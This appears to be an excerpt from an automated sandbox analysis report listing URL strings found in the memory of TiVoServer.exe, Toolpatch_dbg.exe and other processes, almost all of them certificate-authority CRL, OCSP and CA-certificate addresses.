Source: TiVoServer.exe, 00000003.00000000.1348948220.0000000000584000.00000008.00000001.01000000.00000008.sdmp, TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://%s:%d/TiVoConnect?Command=QueryServerUSTiVoServer.LocationGetCountryFromDvrGetCountryFromDvr(
Source: TiVoServer.exe, 00000003.00000002.1390118132.000000001006F000.00000002.00000001.01000000.0000000C.sdmp, TiVoServer.exe, 00000003.00000002.1370646539.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://:/server_portserver_ip./subscribed_dvr_state/state
Source: H3Ze9Uj.exe	String found in binary or memory: http://appsyndication.org/2006/appsyn
Source: H3Ze9Uj.exe, 00000000.00000000.1336977352.0000000000D6B000.00000002.00000001.01000000.00000003.sdmp, H3Ze9Uj.exe, 00000000.00000002.1366197172.0000000000D6B000.00000002.00000001.01000000.00000003.sdmp, H3Ze9Uj.exe, 00000002.00000000.1340989250.0000000000D8B000.00000002.00000001.01000000.00000005.sdmp, H3Ze9Uj.exe, 00000002.00000002.1352787600.0000000000D8B000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://appsyndication.org/2006/appsynapplicationapuputil.cppupgradeexclusivetrueenclosuredigestalgor
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Toolpatch_dbg.exe, 00000009.00000003.2068242549.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049881149.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033323571.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2152122241.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124493079.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034123346.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033069505.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051637625.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124021558.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Toolpatch_dbg.exe, 00000009.00000003.2002102901.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2018007790.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Toolpatch_dbg.exe, 00000009.00000003.2068242549.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049881149.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2152122241.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124493079.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034123346.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033069505.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051637625.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124021558.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Toolpatch_dbg.exe, 00000009.00000003.2068242549.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049881149.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033323571.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2152122241.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124493079.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034123346.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033069505.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051637625.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124021558.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2125038224.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Toolpatch_dbg.exe, 00000009.00000003.2002102901.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2018007790.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: Toolpatch_dbg.exe, 00000009.00000003.2068242549.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049881149.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2152122241.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124493079.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034123346.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033069505.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051637625.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124021558.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Toolpatch_dbg.exe, 00000009.00000003.2068242549.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049881149.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2152122241.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124493079.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034123346.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033069505.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051637625.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124021558.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000000.1348999682.00000000005E6000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://download.sourceforge.net/id3lib/.
Source: Toolpatch_dbg.exe, 00000009.00000003.2071193527.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091193020.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016936045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2127991752.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983846059.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159114916.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955879045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://e5.i.lencr.org/0A
Source: Toolpatch_dbg.exe, 00000009.00000003.2071193527.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091193020.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016936045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2127991752.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001557607.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983846059.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159114916.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955879045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://e5.o.lencr.org0
Source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp, TiVoServer.exe, 00000004.00000002.1434590714.0000000000BE1000.00000002.00000001.01000000.0000001B.sdmp	String found in binary or memory: http://etherx.jabber.org/streams
Source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp, TiVoServer.exe, 00000004.00000002.1434590714.0000000000BE1000.00000002.00000001.01000000.0000001B.sdmp	String found in binary or memory: http://etherx.jabber.org/streamsjabber:clientversion1.0Sending
Source: TiVoServer.exe, 00000003.00000002.1394140788.0000000068641000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://freedesktop.org
Source: TiVoServer.exe, 00000003.00000002.1394140788.0000000068641000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://freedesktop.orgversion1.0Unexpected
Source: Toolpatch_dbg.exe, 00000009.00000003.2032536631.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://msn.com
Source: TiVoServer.exe, 00000003.00000003.1367295725.0000000009FE7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: Toolpatch_dbg.exe, 00000009.00000003.2068242549.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2002102901.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049881149.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033323571.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033172892.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2050125497.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2152122241.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2018007790.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124493079.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034123346.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2128908769.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033069505.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051637625.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053250077.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124021558.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: Toolpatch_dbg.exe, 00000009.00000003.2068242549.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049881149.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2152122241.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124493079.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034123346.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033069505.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051637625.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2124021558.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: Toolpatch_dbg.exe, 00000009.00000003.2212517472.000000000824D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: TiVoServer.exe, 00000003.00000002.1379766079.0000000009384000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665596659.0000000005005000.00000004.00000800.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: Toolpatch_dbg.exe, 00000009.00000002.2304789664.00000000026B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
